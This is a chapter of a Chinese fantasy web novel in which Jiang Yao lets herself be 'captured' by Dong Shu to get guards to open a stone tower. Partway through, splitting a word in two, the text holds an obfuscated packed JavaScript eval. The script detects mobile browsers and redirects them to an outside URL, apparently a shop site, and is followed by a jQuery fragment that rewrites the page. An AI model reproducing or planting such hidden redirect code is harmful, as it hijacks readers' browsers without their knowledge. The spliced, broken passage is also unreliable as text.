轰隆一声巨响,石塔门开了。
几个侍卫打扮的人鱼贯而出,手中长剑闪着寒光,个个杀气凛然。
姜尧与董姝听到动静便赶忙躲在角落中,慌乱中竟将袖口的发簪滑了出去,落在他们刚进来的地方。
坏了。
姜尧暗道不妙。
一队侍卫在簪子旁走过,所幸他们昂首挺胸,没人朝地上看去。
姜尧刚要松一口气。
“咦?”
一个侍卫正低头整理剑穗,路过时恰巧看到了躺在土里的簪子。
“老大!”他一声惊叫,差点将姜尧的魂喊出来。
“说。”为首的侍卫首领抬手叫停了队伍。
那小侍卫双手将簪子递到了侍卫首领的手中。
他端详许久,冷笑一声:“我就知道她不老实。”
随后朝四周看去,双眼如鹰,很快就锁定了姜尧几人的藏身地。
姜尧十指攥紧,向后退了一步,后背贴到了冷硬的石壁上。
所幸,那侍卫看了几眼,便收回了视线:“去查,有没有脏东西混了进来。”
“是。”
众侍卫领命散开,训练有素的脚步带起一片尘土。
老郎中在草堆里探出了头:“出来吧两个丫头,他们都走了。”
姜尧重重松了口气,与董姝二人小心挪到了门前。
姜尧试着推了推,没推动。
厚重的门像是钉死在了原地。
“那为首的侍卫出来时,手中是不是拿了个东西?”
姜尧脑海中闪过刚才的场景,确信那人出来的一瞬间将什么东西揣进了怀里。
“你知道那是什么吗?”
姜尧转头看向董姝。
董姝连连摆手:“主人、不,吕正德只将我带到塔前,每次都是他自己进去,不让我们跟着。”
姜尧看着森森大门,愈发笃定吕沐歌被关在里面。
“走。”姜尧一把拉过董姝的手。
“去哪?”董姝满脸狐疑,但并未反抗,任由姜尧拉着。
“我们去叫侍卫帮我们开门。”
“你疯了!?”
“你疯了!?”
两道声音同时响起,是董姝和老郎中。
老郎中拍着大腿,绕着姜尧飘了几圈,一双眼睛上下打量着她:“瞳孔没涣散,身体没有异常,怎么就开始说胡话了?”
就在老郎中不死心地第三次手指在姜尧手腕上穿过时,姜尧开口了。
“不入虎穴焉得虎子,你们的死归根结底都是因为吕正德,我们的仇人既是同一人,那就是老天将我们安排在一起,所以无论谁有什么异心,打着什么算盘,都无所谓。”
说到这,姜尧深深地看了董姝一眼。
不等董姝表态,便继续道:“仇恨,就是我们最坚固的扭结,我需要你们为了复仇,全心全意地帮我。”
“那你呢?”董姝看向姜尧,眼中带着探究,“你为什么恨他?”
绑走了她的朋友?
害得她自己身入险境?
说句自私的,这些相较于失去自身性命而言,未免太微不足道。
谁知姜尧红唇轻启,用二人勉强听清的声音道:“因为你们经历早就通过眼睛传递给了我,我悲伤你们的悲伤,痛苦你们的痛苦,仇恨你们的仇恨。”
这是姜家人的天赋,或者说,是天道对姜家人以凡人之躯链接阴阳两道的惩罚。
只有极致的感同身受,才能将死者的尸体最大程度还原。
这也是姜尧曾经不敢直面鬼魂的原因。
只要看到鬼魂的眼睛,就会将自身代入他死前所受的折磨。
但经历了这些,她明白世间苦难延绵不绝,无论如何逃避都是徒劳。
“我信你。”老郎中笑得慈祥,“毕竟除了信你,我也没别的办法。”
……
“我也信你。”董姝犹豫半刻,终于出声。
一炷香后,姜尧被五花大绑着出现在了侍卫首领面前。
“什么人?”他抽出长刀,速度极快地架在董姝面前。
“连我都认不出?还不把刀放下。”董姝负手而立,抬着下巴,眼中满是盛气凌人。
“大人?”侍卫首领听见董姝的声音,皱着眉,握着刀的手却没动。
“什么事都干不成的废物,还要我帮你把人绑来。”说着,她恨铁不成钢地踹了姜尧一脚,“要不是我看她不对劲早就潜伏在她身边,主人的计划就要毁了!”
姜尧发出一声悲鸣,双眼猩红恶狠狠地看着董姝,脖子上青筋暴起,如果不是被堵着嘴巴,恨不得扑上去咬董姝一口。
董姝那条虚搭在地上的腿抬起,又狠狠踹了姜尧一脚。
仓琦珍藏的零食血包在姜尧口中被咬爆,白布瞬间被染红。
侍卫首领犹豫着放下了刀:“你离开这些天,是去探查情报?”
“你什么身份?也来质问我的事!?”董姝翻了个白眼,冲石塔抬抬下巴,“把石门打开,我要把她关进去。”
侍卫首领没动,他看看董姝,又看看姜尧。
姜尧躺在地上,腹部不自然地起伏着,像是伤得狠了,不住地抽搐,嗓子里不时发出几声呻吟。
“哟。”董姝轻笑一声,眼中是明晃晃的恶意,“现在知道疼了?之前不是很硬气吗?你们是用这个东西传信是吧。”
董姝从怀里拿出一根银簪,不等侍卫首领看清便一把掰断,徒手将上面的花纹样式拧成了个银疙瘩。
侍卫首领摩擦了下口袋中的银簪,看着狼狈的姜尧,终是摇头道:“不能随便放人进去,要有主人的命令。”
“笑话,难不成她跑了你能负责?”
董姝手指绕了下鬓边碎发,玩味地看着侍卫首领:“你有几条命负得起?”
她从怀中掏出瓷瓶,里面装着姜尧在丁少爷那搜来的丹药。
瓷瓶盖子拔出,侍卫首领的目光瞬间变得炙热。
他正要伸手去接,却被董姝轻飘飘地躲过。
他的喉咙滚动:“这、这是主人赏的?”
“当然,你可知道,我抓来的这人是谁?”
董姝勾勾手指,侍卫首领低下头,把耳朵凑近。
不知董姝说了什么,他突然脸色一变,本就严肃的神情更加紧绷。
“都过来!把她绑进去!”侍卫首领抬起手,几个侍卫在远处集结而来,架起了姜尧的手臂。
“麻烦了,这东西我拿着没用,赏你了。”董姝笑着将瓷瓶丢进了他的怀里。
侍卫首领忙不迭的收好。
来之前,姜尧问过董姝,那药丸到底有什么功效?
她原以为是什么提升功力的东西,才值得丁少爷杀人越货,结果竟是三千烦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17060746|175527||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恼丝缠出的药丸。
也怪她拿得匆忙没仔细看,误以为上面凹凸不平的是药渣。
据董姝说,这鬼东西不仅迷惑人心智,更会使人成瘾,所以吕正德派二长老,将三千烦恼丝当做奖励分发给手下优秀的弟子。
以便将这些天资卓越的弟子,从身体到灵魂,全部收于麾下,为他所用。
而金尊玉贵的二长老亲孙子自然是没有的。
但没人想到丁少爷竟会因此嫉恨在心。
当然,这是连丁长老都没有预料到的后话。
吕家,哦不,吕正德的目标只有这些天资卓绝的后辈吗?
自然不是。
天赋差的弟子一部分用作滋养母蛊的养料,另一部分用作为董姝这群活死人准备的躯体。
连这些弟子死后产生的冤魂也没被放过,吕正德将他们亲手炼成了让人闻风丧胆的瘟鬼。
即使形成瘟鬼的条件苛刻至极,但架不住冤魂数量庞大,因此吕正德手下的瘟鬼数量十分可观。
只要进了这个魔窟,人就不再是人。
而是待价而沽的商品,每个部位都被打上价格的标签。
所有有用的部分都被拆解利用,连发丝都出不去。
只是这套看似精密的系统中出现了意外。
昌丘。
丁长老口中的“你们这群人”
是什么人?
他们的目的又是什么?
“跳梁小丑罢了,仗着自以为了解一些秘密,集结了几个人妄想模仿吕正德的手段,可惜,活不过今晚。”
这是董姝给出的答案,她语气冷淡,像是在谈论今天的天气。
可姜尧心中疑虑未消,只是这样吗?
若昌丘已经窥视到吕正德的所作所为,而他们又早就出现在了丁长老的视线里。
那吕正德为什么没有做出任何反应,反而放任昌丘等人发展?
每当姜尧自以为知道了真相,这层“真相”下却还散发着腐臭,还藏着深不见底的罪恶。
当然,现在不是思考这些的时候。
她被几个侍卫粗暴地扔进了石塔。
“放开我!”姜尧口中的布早就在挣扎间掉了,她扯着嗓子高喊,希望吕沐歌能听到,给她回应。
“鬼叫什么?”侍卫毫不客气地一脚踹向姜尧的膝盖。
姜尧腹部突然一阵绞痛,一个没站稳,直直倒在了地上。
“噗——咳咳……”一口血直喷在地,殷红如花。
董姝吓了一跳,对着那侍卫张口就骂:“王八羔子你活够了!?我抓来的人你也敢伤?”
她嘴里不是就一个血包吗?
这血是哪来的?
那侍卫也没想到自己一脚竟有如此威力,扑通一声跪下:“不,不是我。”
“自己滚下去领罚,你们两个扶着她。”侍卫首领绕过他,眼神都没在他身上停留。
“不、不……”
他被人拖了下去,嘴里发出求饶和惨叫。
地面留下十条抓痕。
让人不敢想侍卫首领口中的“罚”是什么。
……
与此同时,安宴胸口一紧,不等他细想,破风声便擦着他的衣角刺过。
“面对我们两个也敢分心?”
他的对面,是一高一矮两道身影,高的那个长着一张与他一模一样的脸。